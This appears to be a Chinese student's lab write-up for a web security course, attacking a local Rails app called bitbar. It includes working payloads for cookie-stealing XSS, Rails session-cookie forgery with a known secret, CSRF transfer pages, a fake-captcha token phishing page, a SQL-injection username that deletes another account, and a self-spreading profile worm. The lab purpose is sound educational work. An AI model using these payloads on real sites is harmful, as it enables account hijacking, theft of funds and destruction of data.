實驗環境
https://github.com/TouwaErioH/security/tree/master/web1
Windows10
Oracle VM VirtualBox
Ubuntu16.04 i386
安裝Ruby和rails,http://gorails.com/setup/ubuntu/16.04
下載實驗提供的project 2源碼
重定位到/bitbar目錄下,執行bundle install
開啟服務器 (rails server)
可以在http://localhost:3000上訪問bitbar
Ruby 2.5.0
Rails 5.0.7.2
實驗步驟
參考:
https://www.w3school.com.cn/xml/xml_http.asp
Cookie:
https://blog.csdn.net/weixin_34183910/article/details/92205222
https://www.cnblogs.com/b0xiaoli/p/3935267.html
https://baike.baidu.com/item/cookie/1119?fr=aladdin
http://en.wikipedia.org/wiki/HTTP_cookie
http cookie browser
https://www.cnblogs.com/lancidie/p/8251187.html
存儲型XSS
https://blog.csdn.net/weixin_44720762/article/details/89736508
1. attack1 漏洞分析及攻擊原理
Attack 1: Warn-up exercise: Cookie Theft
l 開始網址
http://localhost:3000/profile?username=
l 評分員將提前以user1的身份登錄bitbar,然后打開以上的開始網址
l 你的目標是偷取user1的會話cookie並且將cookie發送到
http://localhost:3000/steal_cookie?cookie=...cookie_data_here...
l 你可以在以下網址上查看最近被偷取的cookie
http://localhost:3000/view_stolen_cookie
l 請將你的答案寫在warmup.txt中
l 提示:嘗試添加一些隨機字符串到開始網址后,觀察這些隨機字符會如何影響網頁
原理:
打開開始網址:http://localhost:3000/profile?username=
原本功能應該是輸入文件名查看文件,測試 123,可見是 get 方法發送request。
測試發現存在XSS漏洞,可以直接執行js代碼
測試方法:
<script>alert(/xss/)</script>
先輸了123,然后看url變化,直接顯示了username=123,直接輸了<script>alert(/xss/)</script>
然后就彈窗,然后看url發現代碼直接就顯示出來了,說明沒有過濾、html編碼等,就有xss漏洞了
Rails框架采用客戶端session而非服務端session,cookie中已經存儲session信息。
題目說明user1已經登錄bitbar,打開目標網頁,故會話cookie此時已經存在user1的瀏覽器,直接使用document.cookie屬性就可以獲取字符串格式的cookie.
題目說明獲取cookie后發送到
http://localhost:3000/steal_cookie?cookie=...cookie_data_here...
這里也是get方法,?后為參數,字符串形式。
故目的url 為 ‘http://localhost:3000/steal_cookie?cookie=’+(document.cookie)
可以用XMLrequest發送請求,設置open method為GET,url為上述url即可
代碼如下
<script type="text/javascript">
var x = new XMLHttpRequest();
x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));
x.send()
</script>
將這段代碼注入到開始網址,
運行效果:
執行js代碼前
執行后:
也可以
Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie
效果一樣
題目的意思是user1已經登陸,然后打開了那個頁面,然后我們直接偷他的cookie(相當於user1走開了,坐他旁邊的人來操作一下)
若要做到竊取任意人的cookie,用存儲型XSS,將偷cookie的代碼上傳到服務器,這樣以后每個打開頁面的人的cookie都會被偷,但是這樣需要表單,數據庫......固定到網頁,或者其他用戶要調用的表單
2.attack2漏洞分析及攻擊原理
Attack 2: Session hijacking with Cookies
l 在本次試驗中,你將會獲得attacker的身份:用戶名attacker,密碼attacker。你的目的是偽裝成用戶user1登錄系統
l 你的答案是一個腳本。當這個腳本在JavaScript console中執行時,bitbar將誤認為你是以user1。請將這個腳本寫到a.sh中
l 本次試驗中,你可以使用Mechanize。Mechanize是一個Ruby的庫函數, 它被用於與web應用實現自動化交互。在本次試驗中,你必須要保存服務器發送的所有的cookie值。
l 提示:網站是如何保存會話的?網站是如何驗證用戶當前是否登錄?網站是如何驗證cookie的真實性的?
網站使用cookie保存對話。登錄時附帶cookie說明當前用戶登錄。使用簽名驗證cookie真實性。
原理:
網站識別用戶使用的是cookie。要偽裝成user1登錄系統,需要偽造user1的cookie。
和attack1不同之處是attack1中user1已經提前登陸,故可以直接document.cookie獲取user1的cookie。
要偽造cookie需要了解cookie的生成過程,rails的cookie生成過程如下:
加密過程:
Session data的登錄信息保存在warden.user.user.key
session = { "warden.user.user.key" => [[1],"secret"] }
序列化->Padding->加密AES-CBC->拼裝加密內容和IV(BASE64)->簽名HMAC-SHA1->拼裝簽名
解密過程:
分離簽名->驗證簽名->分離加密內容和IV->解密->UNPADDING->解析->完成
先使用attacker登陸bitbar,burp suite抓取信息,查看Bitbar的cookie結構
如上圖,--后為簽名,直接分離,前面部分進行其他解密步驟。
經過解密測試bitbar沒有采用AEC-CBC加密,故在加解密時可以跳過相關步驟
題目提示使用Mechanize進行交互,安裝:
使用:
模擬登陸:
實例化Mechanize對象
訪問登錄頁面
獲取表單
使用attacker attacker填寫表單,提交
服務端返回cookie
對返回到cookie解密:
分割簽名 --
BASE64解碼
反序列化
得到session信息
代碼
# 模擬登陸
agent = Mechanize.new #實例化Mechanize對象
url = "http://localhost:3000/login"
page = agent.get(url)
form = page.forms.first
form['username'] = form['password'] = 'attacker' # 使用attacker的信息填寫表單
agent.submit form # 提交表單
cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '') #返回cookie
cookie_value, cookie_signature = cookie.split('--') #分離簽名
raw_session = Base64.decode64(cookie_value) #BASE64解碼
session = Marshal.load(raw_session) #反序列化
puts session #打印cookie
截止到此得到attacker的session 信息為
{"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999","token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}
可見登陸id以數字表明,可以判斷用戶按順序標記(已知用戶user1,user2,user3,attacker),那么user1應該是 logged_in_id為1.
將id改為1,然后進行加密過程(序列化,BASE64編碼),即可得到偽造的user1的cookie的前半部分。
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # 偽造前半部分
服務器還要驗證后半部分的簽名,由上面的理論分析可知簽名采用HMAC-SHA1。
偽造簽名需要獲取秘鑰,在本地源代碼得到簽名秘鑰
路徑如圖
利用密匙生產簽名,--鏈接,得到完整的user1的cookie。
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}" #簽名並合並
puts "document.cookie='#{cookie_full}';" #打印完整的cookie
之后繼續利用Mechanize,利用偽造的cookie登錄bitbar,驗證是否偽裝為user1即可。
可以利用 http://localhost:3000/profile 驗證,如圖,頁面信息顯示當前登錄為attacker,使用偽造的cookie訪問該頁面,若顯示user1說明成功。可以直接打印返回的reponse.body,查看相關字段
url = URI('http://localhost:3000/profile')
http = Net::HTTP.new(url.host, url.port)
header = {'Cookie':cookie_full} #使用偽造的cookie訪問
response = http.get(url,header)
puts response.body #查看相關字段
a.sh見報告文件夾 answer/a.sh
運行:ruby a.sh
3.attack3漏洞分析及攻擊原理
Attack 3: Cross-site Request Forgery
l 你的答案是一個名字為b.html的html文件。評分人將用瀏覽器打開b.html
l 在打開b.html前,評分人將提前使用user1的身份登錄到bitbar
l 打開b.html后,10個bitbar將從user1的賬戶轉到attacker的賬戶,當轉賬結束時,頁面重定向到www.baidu.com。
l 你可以在http://localhost:3000/view_users 查看用戶列表以及每個用戶擁有的bitbar
l 在攻擊的過程中,瀏覽器的網址中不能出現localhost:3000
原理:
我們不清楚轉賬的機制,所以先進行一次轉賬,抓取數據,查看相關內容,然后構造b.html。
題目提到評分人提前登陸user1,故瀏覽器已經存儲user1的cookie。
分析源代碼可以找到user的密碼
登陸user1,向attacker轉賬10,抓包
可知向/post_transfer接口POST數據 destination_username 信息即可。另外有編碼方式 Content-Type。
需要注意附帶cookie
查看網頁源代碼,找到相關信息,構造表單
表單內容為目的地址(轉移接口),方式(POST),編碼方式(在抓取的數據包有)。
這里設定id為getpay,用於后續自動提交該表單
<form action="http://localhost:3000/post_transfer" method="post" enctype="application/x-www-form-urlencoded" id="getpay">
<input type="hidden" name="destination_username" value="attacker">
<input type="hidden" name="quantity" value=10>
</form>
以上完成轉賬表單,要實現自動轉賬,需要設置,當b.html被打開即調用函數提交表單
可以使用window.load
最后添加重定向到baidu.com的代碼,延時0.2s轉到百度。
setTimeout(function(){window.location = "http://baidu.com";}, 0.2);
完整代碼b.html見報告文件夾 answer/b.html
測試
當前用戶信息
打開b.html
結果成功
注意某些版本firefox執行可能出現沒有跳轉(setTimeout沒有執行),參考http://www.gxlsystem.com/JavaScript-25470.html
解決。
4.attack4漏洞分析及攻擊原理
l 你的答案是一個或者兩個html頁面,命名為bp.html,bp2.html(可選)。評分員會在瀏覽器中打開bp.html
l 在打開bp.html前,評分員已經用user1的身份登錄到系統中
l 評分員將於bp.html頁面進行交互,因此bp.html的回應要合理。也就是說,如果在頁面上有一個表格或者有一個按鈕,並且在頁面上有一些提示要求評分員進行一些操作,評分員將會依照這些提示執行。
l 在評分員與bp.html頁面進行交互后,10 bitbars將會從評分員的賬戶轉到attacker的賬戶。當這個轉賬操作執行完成后,頁面將重定向到www.baidu.com
l 你的攻擊必須要在於用戶互動的前提下執行(不要再一次進行一次CSRF攻擊)。特別的要注意的是,你的攻擊要針對的網址是http://localhost:3000/super_secure_transfer或者 http://localhost:3000/super_secure_post_transfer。這兩個網址做了一些CSRF攻擊的防護。在攻擊的過程中,你不能直接與http://localhost:3000/transfer或者http://localhost:3000/post_transfer進行交互。
l 在你的攻擊過程中,需要隱藏你的頁面正從http://localhost:3000上下載內容的事實。
原理:
查看相關網頁
也可以繼續測試,抓包,查看。可見和attack區別是多了一個隨機的Token,所以不能用attack的自動提交方法。
故需要欺騙用戶輸入token,也就是交互。這里欺騙方法可以是提示用戶輸入Token來驗證自己是否是robot。
然后將獲取的token連同quantity和des_username提交即可。
設計一個欺騙網頁,顯示字符串“輸入token驗證”,當用戶輸入並點擊確定時調用自動提交表單的函數,完成轉賬,並跳轉到baidu。
欺騙與按鈕設計。點擊confirm后會調用getpay函數
<p> input Super Secret Token to prove you are not a robot</p>
<input id="token" type="text" placeholder="Captcha">
<button onClick="getpay()">Confirm</button>
然后設計getpay()函數.
采用和attack不同的XMLHTTPRequest。
功能為:使用value獲取輸入的token,和attacker拼接為發送的字符串。新建XMLHTTPRequest實例。然后設置網址,設置參數,使用cookie,發送。這樣就完成轉賬。
然后使用window.top.location跳轉到百度。
<script>
function getpay() {
var request = new XMLHttpRequest(); //實例
var token = document.getElementById("token").value; //獲取token
request.open("POST", "http://localhost:3000/super_secure_post_transfer", false); //設置請求但沒有發送
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");//設置參數
request.withCredentials = true; //使用cookie
try {
request.send("quantity=10&destination_username=attacker&tokeninput=" + token); //發送
} catch (err) {
// Do nothing
} finally {
window.top.location = "http://baidu.com"; //最后跳轉到baidu
}
}
</script>
完整代碼見報告文件夾 answer/bp.html
5.attack5漏洞分析及攻擊原理
l 你的答案是一個惡意的用戶名。這個惡意的用戶名允許你刪除一個你不具有訪問權限賬戶。
l 評分員將使用你提供的惡意用戶名新建一個賬戶。並在“close”頁面上確認刪除該賬戶
l 作為結果,新建的賬戶以及user3的賬戶將會被刪除。其他的賬戶不變
l 你可以在http://localhost:3000/view_users頁面上查看所用的用戶
l 如果數據庫在測試攻擊的過程中被破壞了,你可以停止Rails然后使用rake db:reset命令是數據庫復原。
l 將你的最終答案寫在d.txt中
l 提示:SQL注入;WHERE子句
原理:
至體積一個用戶名就刪除user3,應該是拼接注冊的SQL語句導致刪除。
先分析網站源碼,得到注冊的邏輯。
將直接將用戶名寫到user.username字段。
再看刪除的邏輯,直接使用輸入的用戶名。都沒有做變換,故可以構造用戶名,直接寫入數據庫,然后刪除這個用戶,實際上連接成SQL語句刪除user3.
先隨便注冊一個用戶 123 123
在后台(終端的命令行)看到相關SQL語句
再刪除,看到相關語句
相當於語句
delete from users where username = ‘123’
注意是字符串,為注冊的用戶名加了兩個單引號’’。題目還要求同時刪除創建的用戶,
構造為
user3' or username LIKE '%or username LIKE%
這樣刪除語句變為
delete from users where username =’user3' or username LIKE '%or username LIKE%’
這樣就同時刪除自身和user3.除非其他用戶名含有 or username LIKE,否則不會誤刪
效果: 注意使用英文單引號
注冊:
刪除自身
6.attack6漏洞分析及攻擊原理
l 你的答案是一個用戶的profile(簡況)。當其他用戶閱讀這個profile時,1個bitbar將會從當前賬戶轉到attacker的賬戶,並且將當前用戶的profile修改成該profile。因此,如果attacker將他的profile修改成你的答案,以下情況會發生:
n 如果user1瀏覽了attacker的profile,那么1 bitbar將從user1的賬戶轉到attacker的賬戶,user1的profile修改成你答案中的profile
n 之后,如果user2瀏覽了user1的profile,那么1 bitbar將從user2的賬戶轉到attacker的賬戶,user2的profile也被替換成你答案中profile
因此,你的profile worm將會很快擴散到全部的用戶賬戶中
l 將你的惡意的profile寫在d.txt中
l 評分過程:評分員將會將你提供的惡意profile復制到attacker的profile上。然后,評分者將使用多個賬戶瀏覽attacker的profile。檢查是否正常進行轉賬以及profile的復制
l 轉賬和profile復制的過程應該具有合理的速度。在這個過程中,評分員不會點擊任何地方。
l 在轉賬和profile的賦值過程中,瀏覽器的地址欄需要始終停留在http://localhost:3000/profile?username=x ,其中x是profile被瀏覽的用戶名。
l 不會出現當前賬戶沒有錢可以轉的情況
l 提示:MySpace vulnerability
原理:
實現兩個功能:轉賬+復制。轉賬功能可以利用attack3或attack4的思路,向接口發送數據即可。
對於復制文件並不清楚,需要測試。以及如何使profile生效需要測試。
轉賬的代碼參考attack3,4,不再贅述。
修改profile:
使用attacker登錄,設置自己的profile。Burp suite抓包查看信息。發現修改profile是利用了/set_profile 接口。
故要修改瀏覽者的profile,只需采用轉賬類似的方法,向/set_profile發送數據即可。XXX為待完成部分。
request = new XMLHttpRequest(); //對象
request.open("POST", "http://localhost:3000/set_profile", true); //地址
request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //參數
request.withCredentials = true; //cookie
request.send(XXX)));
查看attacker的profile,對應源碼。發現一個用戶的profile被一個<div id=profile>標簽包圍。故可以采用document.getElementById('profile').outerHTML來獲取當前被瀏覽用戶的profile的HTML內容。
若要做到更好可以在profile加一層包裝,如下,然后只獲取wrap標簽內的內容即可document.getElementById('wrap').outerHTML
<span id="wrap">
Profile
</span>
拼接”new_profile”即為上面XMLHTTPRequest的send的內容。注意escape()編碼,然后連接時使用contact而非+,因為+在HTML中為空格。
request.send("new_profile=".concat(escape(document.getElementById('profile').outerHTML)));
最后是如何執行轉賬和復制的代碼。
網站源碼渲染用戶的profile代碼在views/profile.html.erb中調用了sanitize_profile函數,而這個函數定義在application_helper
santitize 函數,通過 tags 和 attributes設定了白名單,其中允許href,故可以使用JavaScript偽協議來XSS
https://ruby-china.org/topics/28760
attributes 白名單不安全,根據現在的實現(#issues-27),如果設置了 attributes 參數,就會跳過一些屬性過濾,例如協議過濾:
sanitizie '<a href="javascript:alert()">click</a>'#=> <a>click</a>
sanitizie '<a href="javascript:alert()">click</a>', attributes: %w(href)#=> <a href="javascript:alert()">click</a>'
在class屬性中利用eval就可以執行js代碼。
以上完成所有需要的代碼。
測試中發現,服務器會將發送到post_transfer的內容的&,變為&,這樣復制之后的代碼沒有轉賬功能
如圖
故需要對&做編碼,使用 String.fromCharCode()對&編碼,於是轉賬部分向post_transfer發送內容變為
request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker"));
最后的profile完整代碼:
<span id="wrap">
<span id="bitbar_count" class="eval(document['getElementById']('myattack')['innerHTML'])"></span>
<span id="myattack"> //eval執行下面的函數
document.getElementById('myattack').style.display = "none"; //不在profile顯示
setTimeout(function(){
var request = new XMLHttpRequest(); //實例
request.open("POST", "http://localhost:3000/post_transfer"); //目的
request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //編碼
request.withCredentials = true; //cookie
try {
request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker")); //send內容,轉賬
} catch (err) {
//DO nothing
} finally {
request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true); //修改的api地址
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML))); //修改瀏覽者profile
}
}, 0);
10; //顯示一個虛假的profile
</span>
</span>
測試發現上述代碼在chrome成功轉賬並感染,但是在某些版本firefox只轉賬,推測是settimeout的問題。
解決:
方法1:直接在class執行所有的函數,不使用eval,也不適用settimeout
<img id="bitbar_count" class='var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("quantity=1&destination_username=attacker");
var request2 = new XMLHttpRequest();
request2.open("POST", "http://localhost:3000/set_profile");
var new_profile = document.getElementById("profile").innerHTML;
request2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request2.withCredentials = true;
request2.send("new_profile=" + encodeURIComponent(new_profile));'>
方法2:新建Formdata對象,使用append方法添加參數。.fetch函數是封裝好的js函數。
<p id="bitbar_count" class="
let transferdata=new FormData();
transferdata.append('destination_username','attacker');
transferdata.append('quantity','1');
fetch('../post_transfer',{method:'POST',body:transferdata});
let profiledata=new FormData();
profiledata.append('new_profile',document.getElementById('profile').innerHTML);
fetch('../set_profile',{method:'POST',body:profiledata});
"></p>
經過測試二者都可以完成目的功能。
效果:
設置attacker的profile
User1瀏覽attacker
瀏覽前
瀏覽后